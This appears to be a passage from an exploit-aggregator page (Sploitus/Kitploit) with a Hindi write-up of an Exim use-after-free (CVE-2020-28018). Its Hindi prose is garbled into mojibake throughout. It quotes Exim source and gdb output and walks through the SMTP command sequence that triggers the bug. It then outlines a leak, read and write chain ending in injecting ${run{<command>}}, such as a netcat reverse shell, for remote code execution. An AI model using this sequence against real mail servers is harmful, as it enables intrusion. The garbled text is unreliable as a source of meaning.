Sploitus

Exploit for CVE-2020-28018

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN489 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DORKERDEVIL-CVE-2020-28018
# CVE-2020-28018: Exim Use-after-free (UAF) рдЬреЛ RCE рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ

## рдкрд░рд┐рдЪрдп

`tls-openssl.c` рдореЗрдВ рдПрдХ Use-after-free (UAF) рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИ рдЬреЛ рджреВрд░рд╕реНрде рдЕрдирдзрд┐рдХреГрдд рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдЖрдВрддрд░рд┐рдХ рдореЗрдореЛрд░реА рдбреЗрдЯрд╛ рдХреЛ рджреВрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЕрдВрддрддрдГ рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрд╕реЗрдХреНрдпреВрд╢рди рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред

рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡реНрд╕:

  * рдореЗрдореЛрд░реА рд▓реАрдХреЗрдЬ
  * рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рд░реАрдб рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡
  * рд░рд╛рдЗрдЯ-рд╡реНрд╣рд╛рдЯ-рд╡реНрд╣реЗрдпрд░ рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡



рдЗрди рд╕рднреА рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡реНрд╕ рдХреЛ рдПрдХ рд╕рд╛рде рд╢реНрд░реГрдВрдЦрд▓рд╛рдмрджреНрдз рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╕рднреА рдЙрдкрд▓рдмреНрдз рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдорд┐рдЯрд┐рдЧреЗрд╢рдиреНрд╕ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЕрдВрддрддрдГ exim рдпреВрдЬрд╝рд░ рдХреЗ рд░реВрдк рдореЗрдВ рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрд╕реЗрдХреНрдпреВрд╢рди рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реБрдПред

рдпрд╣ рднреЗрджреНрдпрддрд╛ рднреЗрджреНрдпрддрд╛рдУрдВ рдХреА рдПрдХ рд╡рд┐рд╢рд╛рд▓ рд╕реВрдЪреА рдХреЗ рдмреАрдЪ рдЬрд╛рд░реА рдХреА рдЧрдИ рд╣реИ, рдЖрдзрд┐рдХрд╛рд░рд┐рдХ Qualys рд░рд┐рдкреЛрд░реНрдЯ RCE рдкреНрд░рд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж Local Privilege Escalation (LPE) рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Use-After-Free рдХреЛ CVE-2020-28008 рдХреЗ рд╕рд╛рде рд╢реНрд░реГрдВрдЦрд▓рд╛рдмрджреНрдз рдХрд░рддреА рд╣реИред

## рдкреВрд░реНрд╡-рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ

exim рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ / рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП:

  * TLS рд╕рдХреНрд╖рдо рд╣реИ
  * OpenSSL рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (GnuTLS рдХреЗ рдмрдЬрд╛рдп)
  * Exim рднреЗрджреНрдп рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ
  * `X_PIPE_CONNECT` рдЕрдХреНрд╖рдо рд╣реИ



рдЖрдк `checker.py` рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЬрд╛рдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рднреЗрджреНрдп рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рд╣реИ рдФрд░ рдЙрд╕рдХреЗ рдкрд╛рд╕ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХреБрдЫ рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред

**[!]** `checker.py` рднреЗрджреНрдпрддрд╛ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд░рддреА, рдХреЗрд╡рд▓ рднреЗрджреНрдп рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЬрд╛рдБрдЪ рдХрд░рддреА рд╣реИ, рдЬрд╛рдБрдЪрддреА рд╣реИ рдХрд┐ PIPELINING рдФрд░ TLS рд╕рдХреНрд╖рдо рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдЪреЗрдХрд░ рдкреИрдЪ рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдпрд╣ рдЧрд▓рдд рд╕рдХрд╛рд░рд╛рддреНрдордХ рдкрд░рд┐рдгрд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред

## рднреЗрджреНрдп рдХреЛрдб

рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рдЬрд╛рдирддреЗ рд╣реИрдВ, рднреЗрджреНрдпрддрд╛ `tls-openssl.c` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИред

root@kitploit:~
    
    
    /*************************************************
    *         Write bytes down TLS channel           *
    *************************************************/
    
    /*
    Arguments:
      ct_ctx    client context pointer, or NULL for the one global server context
      buff      buffer of data
      len       number of bytes
      more	    further data expected soon
    
    Returns:    the number of bytes after a successful write,
                -1 after a failed write
    
    Used by both server-side and client-side TLS.
    */
    
    int
    tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
    {
    int outbytes, error, left;
    SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
    static gstring * corked = NULL;
    
    DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
      buff, (unsigned long)len, more ? ", more" : "");
    
    /* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
    "more" is notified.  This hack is only ok if small amounts are involved AND only
    one stream does it, in one context (i.e. no store reset).  Currently it is used
    for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
    /*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
    a store reset there. */
    
    if (!ct_ctx && (more || corked))
      {
    #ifdef EXPERIMENTAL_PIPE_CONNECT
      int save_pool = store_pool;
      store_pool = POOL_PERM;
    #endif
    
      corked = string_catn(corked, buff, len);
    
    #ifdef EXPERIMENTAL_PIPE_CONNECT
      store_pool = save_pool;
    #endif
    
      if (more)
        return len;
      buff = CUS corked->s;
      len = corked->ptr;
      corked = NULL;
      }
    
    for (left = len; left > 0;)
      {
      DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
      outbytes = SSL_write(ssl, CS buff, left);
      error = SSL_get_error(ssl, outbytes);
      DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
      switch (error)
        {
        case SSL_ERROR_SSL:
          ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
          log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
          return -1;
    
        case SSL_ERROR_NONE:
          left -= outbytes;
          buff += outbytes;
          break;
    
        case SSL_ERROR_ZERO_RETURN:
          log_write(0, LOG_MAIN, "SSL channel closed on write");
          return -1;
    
        case SSL_ERROR_SYSCALL:
          log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
    	sender_fullhost ? sender_fullhost : US"<unknown>",
    	strerror(errno));
          return -1;
    
        default:
          log_write(0, LOG_MAIN, "SSL_write error %d", error);
          return -1;
        }
      }
    return len;
    }
    

`smtp_setup_msg()` рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рд╕рдВрджреЗрд╢ рдкрдврд╝рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред

рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ, `smtp_reset()` рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕рднреА рдмрдлрд╝рд░реНрд╕ рдФрд░ рдорд╛рдиреЛрдВ рдХреА рд╕рдлрд╛рдИ рдХрд░рддрд╛ рд╣реИред

рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:

  * `HELO`/`EHLO` рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ
  * `STARTTLS` рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ
  * `RSET` рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ
  * `smtp_setup_msg()` рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ



`smtp_reset()` рдХреЗ рдЕрдВрдд рдореЗрдВ, `store_reset()` рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рдХреА рдЬрд╛рддреА рд╣реИред

`store_reset` рдПрдХ рдореИрдХреНрд░реЛ рд╣реИ рдЬреЛ `store_reset_3()` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд░реИрдк рдХрд░рддрд╛ рд╣реИред

рд╕реНрдЯреЛрд░ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдРрд╕реЗ рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ рдЬреЛ рдбрд╛рдпрдирд╛рдорд┐рдХ рдореЗрдореЛрд░реА рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддреЗ рд╣реИрдВред

Exim malloc рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдмреНрд▓реЙрдХреНрд╕ рдкрд░ рдкреВрд▓ рдЖрд╡рдВрдЯрдХ (pool allocator) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рднреА рд╣реИ рдЬреЛ рдПрдХ рдЧреНрд░реЛрдПрдмрд▓ рд╕реНрдЯреНрд░рд┐рдВрдЧ (growable string) рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╣реИред

`gstring` рд╕реНрдЯреНрд░рдХреНрдЪрд░:

root@kitploit:~
    
    
    typedef struct gstring {
      int   size;           /* Current capacity of string memory */
      int   ptr;            /* Offset at which to append further chars */
      uschar * s;           /* The string memory */
    } gstring;
    

рдирдИ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рд╕реНрдерд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░, рдпрд╣ `gstring_grow()` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред

рд╡рд╣ рдлрд╝рдВрдХреНрд╢рди рдкрд╣рд▓реЗ `store_extend_3()` рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рдлрд╝рдВрдХреНрд╢рди рдЙрд╕реА рдкреВрд▓ рдмреНрд▓реЙрдХ рдХреЗ рднреАрддрд░ рдореЗрдореЛрд░реА рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред

рдпрд╣ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдЗрдирдкреБрдЯ рдХреА рд▓рдВрдмрд╛рдИ рдЬреНрдЮрд╛рдд рди рд╣реЛ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдЗрд╕рдХреЗ рдмрд╛рдж рдЕрдзрд┐рдХ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрд┐рдд рдХреА рдЧрдИ рдереА рддреЛ рд╣рдо рдЗрд╕реЗ рдмрдврд╝рд╛ рдирд╣реАрдВ рдкрд╛рдПрдВрдЧреЗред

рдлрд┐рд░ `gstring_grow()` `store_newblock_3()` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдирдИ рдореЗрдореЛрд░реА рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдФрд░ рдкрд┐рдЫрд▓реА рдореЗрдореЛрд░реА рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдирдИ рдореЗрдореЛрд░реА рдореЗрдВ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИред

рдлрд┐рд░ `g->s` рдкреЙрдЗрдВрдЯрд░ рдХреЛ `gstring_catn()` рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдлрд╝рдВрдХреНрд╢рди `tls_write()` рдореЗрдВ, рд╣рдо рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ `more` рдирд╛рдордХ рдПрдХ `BOOL` рд╣реИред

рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдбреЗрдЯрд╛ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╡рд╛рдкрд╕ рд▓реМрдЯрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдмрдлрд╝рд░ рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ рд╕рд╛рдордЧреНрд░реА рдХреЙрдкреА рдХреА рдЬрд╛рдиреА рд╣реИ рдпрд╛ рдирд╣реАрдВред

рдпрджрд┐ рдРрд╕рд╛ рд╣реИ, рддреЛ рдкреЙрдЗрдВрдЯрд░ NULL рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ред

рдпрджрд┐ рдирд╣реАрдВ, рддреЛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдмрдлрд╝рд░ рдореЗрдВ рдирд┐рд╣рд┐рдд рдбреЗрдЯрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд▓реМрдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ Use-After-Free рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рддрд░реАрдХреЗ рдЦреЛрд▓рддреА рд╣реИред

рдкрд╣рд▓реЗ, `gstring` рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХрд╛ рдкреЙрдЗрдВрдЯрд░ рдПрдХ рд╕реНрдЯреИрдЯрд┐рдХ рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рднрд╡рд┐рд╖реНрдп рдореЗрдВ `tls_write()` рдХреЗ рдХреЙрд▓ рдкрд░ рд╣рдо рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдкрд╛рдПрдВрдЧреЗред

рд╣рдо рдмрдлрд╝рд░ рдХреЛ рдореБрдХреНрдд (free) рдХрд░рдХреЗ рдлрд┐рд░ рдЙрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ?

рд╣рдореЗрдВ `smtp_setup_msg()` рдХреЛ `smtp_reset()` рдХреЙрд▓ рдХрд░рд╡рд╛рдирд╛ рд╣реЛрдЧрд╛ рдЬрдм рд╣рдорд╛рд░рд╛ рдПрдХ рдмрдлрд╝рд░ рдЕрднреА рднреА `server_corked` рдкрд░ рд╣реЛ (NULL рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛)ред

рд░реАрд╕реЗрдЯ рдХреЗ рдмрд╛рдж, рдпрджрд┐ рд╣рдо рдХрд┐рд╕реА рддрд░рд╣ `tls_write()` рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдкреЙрдЗрдВрдЯрд░ рдЕрднреА рднреА рд╡рд╣рд╛рдБ рд╣реЛрдЧрд╛, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдореЗрдореЛрд░реА рдореБрдХреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рд╣рдореЗрдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

`smtp_reset()` `POOL_MAIN` рдХреА рд╕рднреА рдореЗрдореЛрд░реА рдореБрдХреНрдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╣рдорд╛рд░рд╛ рдмрдлрд╝рд░ рд╕рдорд╛рд╣рд┐рдд рд╣реИред

## Use-After-Free рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛

Use-After-Free рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдкрд╣рд▓реЗ рдПрдХ рдирдпрд╛ рдХрдиреЗрдХреНрд╢рди рдкреНрд░рд╛рд░рдВрдн рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рдЪреВрдВрдХрд┐ рд╣рдо `tls_write()` рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рдкрд╣рд▓реЗ рдПрдХ рдирдпрд╛ TLS рд╕рддреНрд░ рд╢реБрд░реВ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рдЗрд╕рд▓рд┐рдП рдкрд╣рд▓реЗ рд╣рдо `EHLO` рдХрдорд╛рдВрдб рднреЗрдЬрддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдмрд╛рдж TLS рдХрдиреЗрдХреНрд╢рди рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `STARTTLS` рднреЗрдЬрддреЗ рд╣реИрдВред

рдлрд┐рд░ `more` рдХреЛ 1 рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо рдПрдХ рдХрдорд╛рдВрдб рдХреЛ рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдЕрдВрддрд┐рдо рдХрдорд╛рдВрдб рдПрдХ `NOOP` рдХрд╛ рдЖрдзрд╛ рд╣реЛрдЧрд╛ред

рд╣рдо TLS рдХрдиреЗрдХреНрд╢рди рдмрдВрдж рдХрд░ рджреЗрддреЗ рд╣реИрдВ рдФрд░ `NOOP` рдХрдорд╛рдВрдб рдХрд╛ рд╢реЗрд╖ рднрд╛рдЧ рднреЗрдЬрддреЗ рд╣реИрдВред

рдЕрдм рд╣рдо рдлрд┐рд░ рд╕реЗ `EHLO` рднреЗрдЬрддреЗ рд╣реИрдВ, рдЬреЛ `smtp_reset` рдХреЛ рдХреЙрд▓ рдХрд░рд╡рд╛рдПрдЧрд╛ рдФрд░ рд╣рдорд╛рд░реЗ рдмрдлрд╝рд░ рдХреЛ рдореБрдХреНрдд рдХрд░ рджреЗрдЧрд╛ред

рдЕрдм рд╣рдореЗрдВ `tls_write()` рдХрд╛ рдлрд┐рд░ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ TLS рдХрдиреЗрдХреНрд╢рди рд╢реБрд░реВ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рд╣рдо `STARTTLS` рднреЗрдЬрддреЗ рд╣реИрдВред

рдЕрдм рд╕рд░реНрд╡рд░ рдХреЛ рдХреЛрдИ рднреА рдХрдорд╛рдВрдб рднреЗрдЬрдиреЗ рдкрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `tls_write()` рдХреЙрд▓ рд╣реЛрдЧрд╛ред

рд▓реЗрдХрд┐рди... `server_corked` рдореЗрдВ рдЕрднреА рднреА рдореБрдХреНрдд рдореЗрдореЛрд░реА рдореЗрдВ рдХрд╣реАрдВ рдПрдХ рдкреЙрдЗрдВрдЯрд░ рд╣реИред

рдФрд░ рд╡рд╣ рдбреЗрдЯрд╛ рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдореБрдХреНрдд рд╣реИ...рдЗрд╕рд▓рд┐рдП рд╣рдорд╛рд░рд╛ `gstring` рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдмрд╛рдЗрдирд░реА рдбреЗрдЯрд╛ рд╕реЗ рджреВрд╖рд┐рдд рд╣реЛ рдЬрд╛рдПрдЧрд╛ред

UAF рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХрд╛ рдпрд╣ рдкрд░рд┐рдгрд╛рдо рд╣реИ:

root@kitploit:~
    
    
    gefтЮд  p *corked
    $1 = {
      size = 0x54595c9c, 
      ptr = 0xa7e800ba, 
      s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
    }
    gefтЮд  p corked
    $2 = (gstring *) 0x555ad3be1b58
    gefтЮд  
    

рдпрд╣ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдЗрд╕реА рддрд░рд╣ рд╕реЗ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рд╣рдо `STARTTLS` рдХреЗ рдмрд╛рдж рдЕрдкрдиреЗ рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП `tls_write()` рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддреЗ рд╣реИрдВред

рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ, рдЬрдм `corked->s` рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ SIGSEGV рдЗрдВрдЯрд░рдкреНрдЯ рд╣реЛрддрд╛ рд╣реИред

# рд╢реЛрд╖рдг (Exploitation)

рдЬреИрд╕рд╛ рдХрд┐ Qualys рдиреЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рд╣реИ, рд╡реЗ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреАрди рдЪрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ:

  1. рдЪреВрдВрдХрд┐ рдореЗрдореЛрд░реА рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдореБрдХреНрдд рд╣реИ, рд╣рдо Exim рдХреЛ `header_line` рдЬреИрд╕реЗ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд╕реЗ рд╣реАрдк рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рд╣рдорд╛рд░реЗ рдмрдлрд╝рд░ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдЬрдм `tls_write()` рдХреЙрд▓ рд╣реЛ, рддреЛ рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд▓реМрдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПред рдЗрд╕ рддрд░рд╣ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЕрдкрдирд╛ рд╢реЛрд╖рдг рдЬрд╛рд░реА рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрдореЛрд░реА рд▓реАрдХ рд╣реЛрддреА рд╣реИред
  2. рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдо рд╣реАрдк рдореЗрдореЛрд░реА рдПрдбреНрд░реЗрд╕ рдЬрд╛рди рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо Exim рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЦреЛрдЬрдиреЗ рддрдХ рд╣реАрдк рдкрдврд╝рдирд╛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рд░реАрдб рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
  3. рдЕрдВрдд рдореЗрдВ рдЕрдВрддрд┐рдо рдЪрд░рдг рдПрдХ рд░рд╛рдЗрдЯ-рд╡реНрд╣рд╛рдЯ-рд╡реНрд╣реЗрдпрд░ рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ рддреИрдпрд╛рд░ рдХрд░рдирд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рд╣рдо рдЪрд░рдг 2 рдореЗрдВ рдкрд╛рдП рдЧрдП рдмрдлрд╝рд░ рдореЗрдВ рдХрд╕реНрдЯрдо рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред рд╣рдо `${run{<command>}}` рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдБ `<command>` рдХреЛрдИ рднреА рдХрдорд╛рдВрдб рд╣реИ рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рдЬреИрд╕реЗ netcat рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ред рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди `string_expand()` рджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рдЕрдВрддрддрдГ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред



## Use-After-Free рд╕реНрдерд┐рддрд┐ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛

рдмрдврд╝рд┐рдпрд╛, рд╣рдо Use-After-Free рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред

